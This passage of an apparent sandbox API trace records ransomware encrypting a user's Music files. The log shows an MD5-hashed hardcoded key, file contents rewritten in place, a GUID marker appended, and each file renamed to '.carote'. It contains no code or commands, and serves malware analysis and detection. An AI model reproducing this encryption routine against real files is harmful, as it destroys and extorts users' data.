ftCreationTime.dwLowDateTime=0x16d9f5c0, ftCreationTime.dwHighDateTime=0x1d4c685, ftLastAccessTime.dwLowDateTime=0x6edce20, ftLastAccessTime.dwHighDateTime=0x1d4cf6d, ftLastWriteTime.dwLowDateTime=0x6edce20, ftLastWriteTime.dwHighDateTime=0x1d4cf6d, nFileSizeHigh=0x0, nFileSizeLow=0x18dba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4lkpxUARpwW-C.m4a", cAlternateFileName="4LKPXU~1.M4A")) returned 1 [0112.264] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.264] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.264] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.264] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4lkpxUARpwW-C.m4a") returned=".m4a" [0112.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4lkpxUARpwW-C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4lkpxuarpww-c.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.264] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=101818) returned 1 [0112.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.266] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.266] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.268] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.268] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.268] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.268] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18dba, lpOverlapped=0x0) returned 1 [0112.268] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.268] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.269] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.269] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.269] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.269] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.269] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.269] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.270] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.270] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.270] GetLastError () returned 0x0 [0112.270] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.270] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.270] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.270] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18dc0) returned 0x7b182e0 [0112.270] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.270] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.270] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x18db5, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x18db5, lpOverlapped=0x0) returned 1 [0112.271] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.271] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18dba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.271] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.271] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.271] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.271] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.271] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.271] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.271] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.271] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.271] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.271] CloseHandle (hObject=0x61c) returned 1 [0112.272] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.272] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.272] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.272] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4lkpxUARpwW-C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4lkpxuarpww-c.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4lkpxUARpwW-C.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4lkpxuarpww-c.m4a.carote")) returned 1 [0112.273] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.273] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.274] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.274] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6b4740, ftCreationTime.dwHighDateTime=0x1d4c9ea, ftLastAccessTime.dwLowDateTime=0x1ff30130, ftLastAccessTime.dwHighDateTime=0x1d4c6b0, ftLastWriteTime.dwLowDateTime=0x1ff30130, ftLastWriteTime.dwHighDateTime=0x1d4c6b0, nFileSizeHigh=0x0, nFileSizeLow=0x16482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4suXJ1A8AJzQb.m4a", cAlternateFileName="4SUXJ1~1.M4A")) returned 1 [0112.274] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.274] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.274] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.274] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4suXJ1A8AJzQb.m4a") returned=".m4a" [0112.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4suXJ1A8AJzQb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4suxj1a8ajzqb.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.275] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=91266) returned 1 [0112.275] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.276] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1645c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.276] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.278] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.278] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.278] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.278] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x16482, lpOverlapped=0x0) returned 1 [0112.279] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.279] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.279] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.279] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.279] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.280] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.280] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.280] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.280] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.280] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.280] GetLastError () returned 0x0 [0112.280] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.280] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.280] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.280] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16480) returned 0x7b182e0 [0112.280] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.280] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.280] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x1647d, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x1647d, lpOverlapped=0x0) returned 1 [0112.281] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.281] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16482, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.281] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.281] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.281] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.281] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.281] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.281] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.281] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.281] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.281] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.281] CloseHandle (hObject=0x61c) returned 1 [0112.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.282] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.282] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.282] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4suXJ1A8AJzQb.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4suxj1a8ajzqb.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4suXJ1A8AJzQb.m4a.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4suxj1a8ajzqb.m4a.carote")) returned 1 [0112.283] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.283] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.284] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd49313a0, ftCreationTime.dwHighDateTime=0x1d4cce6, ftLastAccessTime.dwLowDateTime=0x94988270, ftLastAccessTime.dwHighDateTime=0x1d4d4bc, ftLastWriteTime.dwLowDateTime=0x94988270, ftLastWriteTime.dwHighDateTime=0x1d4d4bc, nFileSizeHigh=0x0, nFileSizeLow=0x7ef9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Z1gbj.wav", cAlternateFileName="")) returned 1 [0112.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.284] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.284] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.284] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Z1gbj.wav") returned=".wav" [0112.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Z1gbj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4z1gbj.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.284] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=32505) returned 1 [0112.284] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.286] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7ed3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.286] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.287] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.287] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.287] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.287] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x7ef9, lpOverlapped=0x0) returned 1 [0112.288] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.288] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.288] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.288] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.288] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.289] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.289] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.289] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.289] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.289] GetLastError () returned 0x0 [0112.289] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.289] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.289] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7f00) returned 0x7b182e0 [0112.289] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.289] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x7ef4, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x7ef4, lpOverlapped=0x0) returned 1 [0112.289] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.290] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7ef9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.290] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.290] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.290] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.290] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.290] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.290] CloseHandle (hObject=0x61c) returned 1 [0112.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.291] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x870) returned 0x7b182e0 [0112.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.291] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Z1gbj.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4z1gbj.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Z1gbj.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4z1gbj.wav.carote")) returned 1 [0112.291] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.291] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.292] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0d3f0 [0112.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x76) returned 0x50fb750 [0112.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0112.292] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0112.292] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50fb750 | out: hHeap=0x5010000) returned 1 [0112.292] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8fdbdf0, ftCreationTime.dwHighDateTime=0x1d4d25c, ftLastAccessTime.dwLowDateTime=0xb33d05e0, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xb33d05e0, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dQ7tGsp53IT a50pD3", cAlternateFileName="DQ7TGS~1")) returned 1 [0112.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.292] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0112.293] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.293] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.293] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19a1040, ftCreationTime.dwHighDateTime=0x1d4d59e, ftLastAccessTime.dwLowDateTime=0xfcbfe10, ftLastAccessTime.dwHighDateTime=0x1d4ced5, 